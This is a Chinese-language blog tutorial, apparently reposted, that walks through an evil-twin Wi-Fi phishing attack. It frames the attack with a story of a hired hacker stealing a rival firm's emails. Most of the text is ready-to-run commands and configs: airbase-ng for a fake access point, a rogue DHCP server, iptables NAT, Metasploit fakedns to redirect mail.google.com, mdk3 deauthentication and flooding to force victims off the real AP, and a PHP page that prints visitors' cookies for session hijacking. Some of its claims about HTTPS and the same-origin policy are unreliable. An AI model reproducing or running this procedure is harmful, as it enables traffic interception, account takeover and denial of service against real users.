無線安全: 通過偽AP進行DHCP+DNS劫持的釣魚攻擊


有了之前學習802.11的數據幀格式、芯片硬件參數學習的基礎后,我們接下來繼續學習無線安全中黑客是怎樣進行流量劫持攻擊的

相關學習資料

http://www.freebuf.com/articles/5448.html
http://www.freebuf.com/articles/wireless/5351.html
http://tankaiha.blog.51cto.com/8553228/1384460
http://zh.wikipedia.org/wiki/Aircrack-NG
http://www.exploit-db.com/wp-content/themes/exploit/docs/20875.pdf
http://xiao106347.blog.163.com/blog/static/215992078201425920197/
http://www.metsky.com/archives/561.htm
黑客大曝光:無線網絡安全(原書第2版).pdf

 

目錄

1. 攻擊發生的場景、攻擊方式思路分析
2. 攻擊技術原理分析
    2.1 偽AP原理
    2.2 DHCP配置
    2.3 DNS配置
    2.4 Deauth/DOS拒絕服務攻擊
    2.5 XSS中的同源策略 
3. 攻擊重現實驗  

 

1. 攻擊發生的場景、攻擊方式思路分析

從本質上來說,內網的流量劫持並不是一個新的攻擊技術,網上有很多關於內網ARP欺騙、IP Spoling、DNS Poison投毒的優秀文章。與此同時,我們也應該認識到,安全技術是一個不斷更替、演進的過程,隨着新的技術、新的使用方式的出現,原有的安全問題會通過組合衍生出新的攻擊姿勢,我們今天要討論的無線安全就是如此,在Wireless這個前提下,內網的攻擊能夠變得更加有效、隱蔽(當然是對黑客來說)。

我們來思考下面這個虛構的故事(純屬YY):

小紅是一家公司的老板助理,日常主要做的事就是幫助老板協調項目合同、以及發送招標文件。
小黑是一個雇佣黑客,他受雇於A公司的一家對手B公司,他的任務就是竊取A公司的機密郵件以獲取A公司的決策動態。
在接到B公司發來的前期定金之后,小黑立刻着手開始社工A公司,目標當然就是小紅,通過一番前期踩點、滲透之后,小黑得到了如下的信息:
1) 公司A在整個公司園區部署了無線AP,並對公司內外人員進行了物理隔離,公司內部人員需要通過員工帳號、密碼連接A-INT的內網AP,而非公司員工的來訪者只能連接A-OUT,這兩個網絡不屬
於一個C段,即想通過傳統的內網嗅探,C段ARP攻擊難度較大(除非能社工到一個公司內部人員的帳號、密碼)
2) A公司的內部沒有設置針對Wireless的IDS、IPS,而且員工普遍沒有設置靜態DHCP、靜態DNS綁定 3) 小紅平時使用最多的是GMAIL進行郵件發送 有了上述的基本信息后,小黑開始冥思苦想,他需要構思出一種攻擊姿勢,能夠借助某種技術在當前環境下對小紅的GMAIL進行劫持,夜漸漸深了,小黑在電腦前快速敲打着鍵盤,突然,他的嘴角露
出了一絲不易察覺的笑容...

小黑想出了一個攻擊方案,需要綜合利用幾種技術

偽AP+偽DHCP+偽DNS+釣魚頁面(XSS攻擊)+獲取GMAIL Cookie
1. 首先,黑客通過Deauth/Disassociation攻擊,強制目標用戶和原始AP斷開連接,通過設置偽AP,嘗試讓目標用戶連接到攻擊者的偽AP上
2. 目標用戶重連之后,會嘗試重新獲取IP,即發送DHCP數據包(DHCP lease(DHCP租約)認證),當客戶端在向DHCP服務器進行租約申請的時候,會采用DHCP服務器發回來的DNS服務器IP地址作
為首選
3. 我們的"偽DHCP服務器""合法的DHCP服務器"會進行一場"時間競賽",即我們的"偽DHCP服務器""合法的DHCP服務器"都會發送一個"DHCP租約回應"數據包,關鍵問題是看誰的數據包先被
客戶端接收
4. 一旦我們的"偽DHCP服務器"發送的數據包先被客戶端接收到,客戶端在采用我們的指定IP的同時,也會接受我們指定的首選DNS服務器IP地址,這就是DNS劫持的第一步 5. 這種DNS劫持比DNS投毒的效果還要好,一旦成功,在當前租約時間段內就是永久有效的 6. 現在客戶端已經將我們的"偽DNS的IP地址"當作默認的DNS地址了,目標用戶的所有DNS請求都會發往我們的"偽DNS服務器",我們劫持了目標用戶的DNS流量,他所有的URL訪問對應的IP是我們
可以控制的
7. 目標用戶在訪問某個URL的時候(例如GMAIL),它收到的DNS解析IP就是我們控制的"釣魚IP地址"(前提是目標用戶的DNS緩存已經過期,它會重新向DNS獲取一次IP),我們可以利用釣魚頁面對
目標用戶進行攻擊
8. 到了這一步,我們要利用這個釣魚頁面發起XSS攻擊。 我們需要在"釣魚頁面"中嵌入iframe,來獲取"指定網站的cookie",通常來說,WEB瀏覽器不會返回cookie到一個腳本中,除非該腳本來自同一個域的服務器,這就是所謂的同源策略。 我們可以繞過這個防御的原因在與:   1) 例如我們的目標是偷取目標GMAIL的cookie   2) 我們在我們的偽DNS上設置   https://mail.google.com 釣魚IP地址   3) 受害者的瀏覽器訪問的還是正常的   https://mail.google.com,雖然實際對應的IP是我們的釣魚IP,但是對於瀏覽器來說,它只認IP   4) 這樣,我們在釣魚頁面上嵌入XSS攻擊代碼,將https://mail.google.com 的cookie發到https://mail.google.com上,要記住,這個時候https://mail.google.com還是我們的
  釣魚IP地址,但是瀏覽器認為這是在執行一個同源的cookie發送,是合法的,所以,攻擊成立
  9. 攻擊者通過XSS攻擊獲取到了目標用戶在GMAIL域的cookie,從而可以進行正常等了GMAIL(以目標用戶的身份),從而獲取到目標用戶的郵件記錄

以上就是基本的思路分析,我們接下來我逐一學習本次攻擊中需要涉及到的協議格式、技術原理

 

2. 攻擊技術原理分析

0x1: 偽AP

要實現偽AP,我們首先得明白真實的原始AP的工作方式,我們之所以在寬帶連接中能看到這么多的Wi-Fi列表,就是因為我們的附近的AP(或者叫wifi熱點)在不斷地發送Beacon信標幀(管理幀的一種)

這個信標幀主要傳遞了以下幾個信息:

1. DA(Destination Address): 這個值總是為FF:FF:FF:FF:FF:FF,即通過廣播方式發送Beacon信標幀
2. SA(Source Address): 發送者的MAC地址,因為是AP發送的,所以即AP的MAC地址
3. BSSID: AP的MAC地址 
4. SSID(Service Set Identity): 服務集標識,即我們看到的Wifi名稱
5. 加密方式: OPEN、WEP、WPA、WPA2、CCMP、TKIP
6. 工作頻道: 支持的工作頻道(1~13)
7. 工作模式: 支持的工作模式(802.11 b、802.11 g、802.11 n)

只要這些維度的參數都能和原始AP相同、或兼容,則我們的偽AP就能和原始AP一樣發揮作用,接受來自目標客戶端的連接,從而劫持流量。

關於Beacon信標幀的格式,請參閱:

http://www.cnblogs.com/LittleHann/p/3700357.html

使用airbase-ng這款工具可以幫助我們建立Soft AP(偽AP),airbase-ng的使用參數如下:

Options:   
-a bssid: set Access Point MAC address //設置AP的MAC地址 
-i iface: capture packets from this interface //從指定接口抓取數據包(默認和數據包發送的口是同一個接口) 
-w WEP key: use this WEP key to en-/decrypt packets //使用指定WEP密鑰進行加密/解密數據包(用於設置WEP的加密參數) 
-h MAC: source mac for MITM mode //MITM模式使用的源MAC地址 
-f disallow: disallow specified client MACs (default: allow) //不允許指定客戶端MAC地址(缺省:允許) 
-W 0|1: [don't] set WEP flag in beacons 0|1 (default: auto) //[不要]設置WEP標志在信標0|1(缺省:默認不開啟WEP,即默認是OPEN模式) 
-q: quiet(do not print statistics) //安靜模式(不要打印統計信息) 
-v: verbose(print more messages) //冗長模式(打印更多信息) 
-A: Ad-Hoc Mode(allows other clients to peer) //Ad-Hoc模式(允許其他客戶端處於同等級) 
-Y in|out|both: external packet processing //外部數據包處理 
-c channel: sets the channel the AP is running on //設置AP運行在的信道 
-X: hidden ESSID //隱藏ESSID 
-s: force shared key authentication (default: auto) //強制使用共享密鑰驗證(缺省:自動,即默認設置的偽AP是WPA模式的) 
-S: set shared key challenge length (default: 128) //設置共享密鑰挑戰長度(缺省:128) 
-L: Caffe-Latte WEP attack (use if driver can't send frags) //Caffe-LatteWEP攻擊(當不能發送碎片時) 
-N: cfrag WEP attack (recommended) //cfragWEP攻擊(推薦) 
-x nbpps: number of packets per second (default: 100) //每秒發送數據包個數(缺省:100) 
-y: disables responses to broadcast probes //取消對廣播探查的響應(即對Prob Requst Broacast的數據包予以忽略) 
-0: set all WPA,WEP,open tags. can't be used with -z & -Z //設置所有WPA,WEP,OPN標記,不能與-z同時用 
-z type: sets WPA1 tags. 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104 //設置WPA1標記. 
-Z type: same as -z, but for WPA2 //與-z一樣,但是用於WPA2 
-V type: fake EAPOL 1=MD5 2=SHA1 3=auto //偽裝EAPOL(局域網擴展驗證協議) 
-F prefix: write all sent and received frames into pcap file //將所有發送和接受的幀寫入pcap文件(這個很重要,它用來記錄我們的捕獲信息)
-P: respond to all probes, even when specifying ESSIDs //響應所有探查,即使指定了ESSID 
-I interval: sets the beacon interval value in ms //設置信標時間間隔,單位毫秒 
-C seconds: enables beaconing of probed ESSID values (requires -P) //允許探查信標的ESSID值(要求-P參數) 
 
Filter options:    
--bssid MAC: BSSID to filter/use //過濾/使用的BSSID 
--bssids file: read a list of BSSIDs out of that file //從指定文件讀取BSSID的清單 
--client MAC: MAC of client to filter //客戶端的MAC地址用以過濾 
--clients file: read a list of MACs out of that file //從指定文件讀取客戶端MAC地址清單 
--essid ESSID: specify a single ESSID (default: default) //指定一個ESSID(缺省值:default) 
--essids file: read a list of ESSIDs out of that file //從指定文件讀取指定的ESSID清單
使用下列命令可以簡單的搭建一個Soft AP,在文章的后半部分我們會詳細學習怎樣模擬一個真實的偽AP(MAC、信道、加密方式等)
ifconfig -a        查看當前網卡情況
ifconfig wlan1 up    激活你的無線網卡
airmon-ng start wlan1    將你的無線網卡開啟"Monitor"模式
airbase-ng mon0 -e "AirJJ" -c 6

注意到我們已經成功模擬了一個偽AP,但是這個偽AP和原始AP的各項參數還不是很一致,我們需要通過對目標AP進行信息收集,為我們的偽AP設置更高程度的仿真,這並不是很難,比起這個問題,我們當前需要首先解決的一個問題是: DHCP。實驗中可以發現,我們的客戶端即使已經連接上我們的偽AP之后,也會一直顯示在"獲取IP中..."(無法正常獲取到IP),所以,我們還需要對我們的偽AP架設一個偽DHCP服務器

 

0x2: DHCP配置

限於篇幅原因,我將DHCP的配置、原理分析單獨放到了另一篇文章中

http://www.cnblogs.com/LittleHann/p/3705263.html

我們的偽DHCP服務和偽AP是搭建在同一個服務器上,在配置偽DHCP的時候,我們需要注意以下幾點:

1. 客戶端在連接上我們的偽AP之后,我們需要給它分配IP地址
2. DHCP配置文件中的DNS服務器IP要設置成我們的偽DNS地址
3. DHCP配置文件中的默認網關地址要設置成我們的偽AP的IP地址,將目標客戶端的所有流量都劫持到我們的偽AP上,之后再通過iptables將流量導出到外網出口eth0
2. SoftAP的IP地址和Internet接口的IP地址不能在網一個段(這里將偽AP的IP設置為10.0.0.1)

 我們手工搭建一個DHCP服務器

#將網卡設置為靜態IP

vim /etc/network/interfaces
auto eth0
#iface eth0 inet dhcp
iface eth0 inet static
address 192.168.159.254
gateway 192.168.159.2
netmask 255.255.255.0
ifdown eth0 
ifup eth0 
vim /etc/resolv.conf
nameserver 192.168.159.2
#domain LittleHann.com
#search LittleHann.com

#安裝DHCP服務

apt-get -y install dhcp3-server
安裝過程中遇到錯誤: 
Errors were encountered while processing:  
 se-toolkit  
 w3af  
E: Sub-process /usr/bin/dpkg returned an error code (1)
解決方案
http://blog.csdn.net/wzgl573537270/article/details/22001723
vim /etc/default/dhcp3-server
INTERFACES="at0"
cp /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf_backup vim /etc/dhcp3/dhcpd.conf option domain-name "LittleHann.com"; option routers 10.0.0.1; #默認網關 subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.200; #地址池 option domain-name-servers 10.0.0.1; #默認DNS option broadcast-address 10.0.0.255; #廣播地址 } default-lease-time 6000; max-lease-time 72000;

#啟動偽AP,激活at0網口

在啟動DHCP之前,要先啟動偽AP,激活at0網口
ifconfig wlan1 up
airmon-ng start wlan1
airbase-ng mon0 -e "AirJJ" -c 1

#啟動DHCP服務

這里要重點關注的是網關(option routers 10.0.0.1)的設置,我們的偽AP的IP地址也要設置成同樣的IP地址,即達到劫持流量的目的
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1500
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

/etc/init.d/dhcp3-server restart
/etc/init.d/dhcp3-server start

DHCP服務器工作正常

用android手機連接上這個偽AP,可以看到,IP獲取正常

 

 

0x3: Iptables流量牽引

我們目前通過偽AP、以及偽DHCP的架設,將目標客戶端的流量都劫持到了我們的無線虛擬網卡at0上,要保證用戶能正常上網,還需要使用Iptables做一次流量牽引,將at0上的流量NAT到真正的出口網卡eth0上,這樣才算真正的偽AP(目標客戶端還能正常上網、不會察覺有異常)

#利用iptable的路由點Hook功能,將at0(偽AP)上的流量和網口(eth0)做一個NAT,將流量牽引出去
iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j SNAT --to-source 192.168.159.254
iptables -t nat -A PREROUTING -d 192.168.159.254 -i eth0 -j DNAT --to 10.0.0.100

關於Iptables的原理、以及使用方式,請參閱我的另一篇文章

http://www.cnblogs.com/LittleHann/p/3708222.html

 

0x4: DNS配置

我們在DHCP服務器的配置文件中指定客戶端的默認DNS為偽AP所在的本機(10.0.0.1)

所以,我們必須在10.0.0.1上架設一個DNS服務器,將客戶端的DNS解析請求劫持到我們的的phning page(釣魚頁面)上

msf集成了一個模塊,用於模擬一個DNS服務器

https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/server/fakedns.rb
http://tools.pentester.es/fakedns
http://www.digininja.org/metasploit/dns_dhcp.php

配置方法如下:

use auxiliary/server/fakedns
show options
set TARGETACTION FAKE
set TARGETDOMAIN mail.google.com
set TARGETHOST 10.0.0.1
run

從配置文件中我們可以看到,我們將mail.google.com(Gmail郵箱)的域名劫持到了10.0.0.1(本機上)

要注意的是:

1. fakedns這個msf模塊只會劫持我們設置的域名,在本例中是mail.google.com
2. 對於其他的非目標域名(即不是mail.google.com的域名)則采取轉發的方式,即走本機正常的DNS解析流程,即保證目標客戶端的正常上網

客戶端連接上我們的偽AP后,訪問www.sina.cn是正常的

 

0x5: XSS中的同源策略

我們已經將用戶訪問mail.google.com的流量劫持到了我們的釣魚頁面

客戶端連接上我們的偽AP后,訪問mail.google.com,DNS服務器會返回10.0.0.1的IP地址,即會被劫持到我們的釣魚頁面,而在我們的釣魚頁面,我們就可以使用XSS攻擊來獲取目標客戶端的Cookie信息,因為目標客戶端的瀏覽器訪問的是https://mail.google.com,所以根據同源策略,瀏覽器會把和mail.google.com這個域有關的cookie一起發送給服務器端(也就是我們的10.0.0.1機器),這樣,就利用同源策略幫助我們偷取客戶端的cookie。

因為是GMAIL是https連接,所以我們的釣魚頁面也是https連接,我們需要對我們的釣魚頁面所在的apache配置一下SSL
http://man.ddvip.com/linux/debian/apache2/debian-apache2-7.html

為了說明原理,我們的釣魚頁面可以這樣簡單的code一下

<?php     
    echo "Your are Hacked By LittleHann" . "</br>";
    $cookie = $_COOKIE; 
    foreach ($cookie as $key => $value) 
    {
        $res .= $key . "=" . $value . ";";
    } 
    echo $res;
?> 

可以看到,劫持前,用戶正在正常的訪問GMAIL郵箱

我們啟動偽AP、偽DHCP、偽DNS模塊后,將用戶的gmail流量劫持到了我們的釣魚頁面上,並打印出cookie

獲取cookie成功,接下來就可以進行XSS攻擊了,直接用cookie免登錄

 

0x5: Deauth/DOS拒絕服務攻擊

至此,我們已經理清了一個偽AP釣魚劫持的攻擊過程中涉及到的技術,但是,還有最后一個技術問題需要我們解決,我們創建的偽AP需要目標用戶的"主動連接",才能劫持流量,進行DNS釣魚。但是,在真實場景中,用戶一般不會去連接一個不熟悉的AP的,所以,我們還需要一種技術,能將用戶和原始AP的連接強制斷開,強制它連接到我們的偽AP上,而且要保證這個過程不引起用戶的察覺

這里我們使用無線DOS工具MDK3,它能夠發起如下攻擊:

1. Beacon Flood Mode
我們知道,Beacon(管理幀)是AP發出來的,用來通知客戶端當前AP的存在,這個模式可以產生大量死亡SSID(永遠不會有響應的SSID)來充斥無線客戶端的無線列表,從而擾亂無線使用者
mdk3 mon0 b -f /pentest/passwords/wordlists/rockyou.txt -t -c 1 -s 80

2. Authentication DoS
Authentication(管理幀)是客戶端和AP進行身份認證時發送的數據幀。這是一種驗證請求攻擊模式:在這個模式里,軟件自動模擬隨機產生的mac向目標AP發起大量驗證請求,可以導致AP忙於處
理過多的請求而停止對正常連接客戶端的響應 mdk3 mon0 a
-a 74:25:8a:47:3b:70 -s 80 (74:25:8a:47:3b:70是你的目標AP) 3. Basic probing and ESSID Bruteforce mode 基本探測AP信息和ESSID猜解模式 mdk3 mon0 p -b a -t 74:25:8a:47:3b:70 -s 100 4. Deauthentication/Disassociation Amok Deauthentication/Disassociation(管理幀)是客戶端和AP之間進行wireless斷開連接通信的數據幀,即強制解除驗證解除連接,在這個模式下,軟件會向周圍所有可見AP發起循環攻擊
(有黑、白名單對攻擊范圍進行控制) mdk3 mon0 d
-s 120 -c 1,6,11 (這種攻擊的強制斷線效果比使用aireplay-ng來發送deauth攻擊效果要好)

 

 

3. 攻擊重現實驗

至此,我們已經解決了這個攻擊姿勢中所涉及到的所有技術難點,我們來從頭梳理、重現一遍這整個攻擊過程

開啟無線網卡的Monitor模式

ifconfig -a
ifconfig wlan1 up
airmon-ng start wlan1

探測目標客戶端所連接的AP,為偽AP的架設作准備

airodump-ng mon0

我們了解到以下信息

1. SSID(WiFi名稱): AirJ
2. 加密方式: OPEN
3. 信道: 1

啟動偽AP

airbase-ng mon0 -e "AirJ" -c 1

啟動DHCP

ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1500
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
 
/etc/init.d/dhcp3-server start

Iptables流量牽引

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j SNAT --to-source 192.168.159.254
iptables -t nat -A PREROUTING -d 192.168.159.254 -i eth0 -j DNAT --to 10.0.0.100

啟動DNS

msfconsole
use auxiliary/server/fakedns
show options
set TARGETACTION FAKE
set TARGETDOMAIN mail.google.com
set TARGETHOST 10.0.0.1
run

使用MDK將客戶端強制踢下線,迫使其連接到我們的偽AP上

mdk3 mon0 d -s 120 -c 1,6,11

劫持成功

等待客戶端訪問GMAIL,對其發送DNS+XSS釣魚攻擊

 

成功獲取到客戶端的cookie數據

 

4. 后記

除了使用DNS+XSS釣魚攻擊之外,基於偽AP的攻擊還可以是SSL中間人劫持方向的

http://www.freebuf.com/articles/web/5636.html
http://www.freebuf.com/tools/10530.html
http://www.freebuf.com/articles/web/5929.html
http://www.freebuf.com/articles/network/29288.html

 

Copyright (c) 2014 LittleHann All rights reserved

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM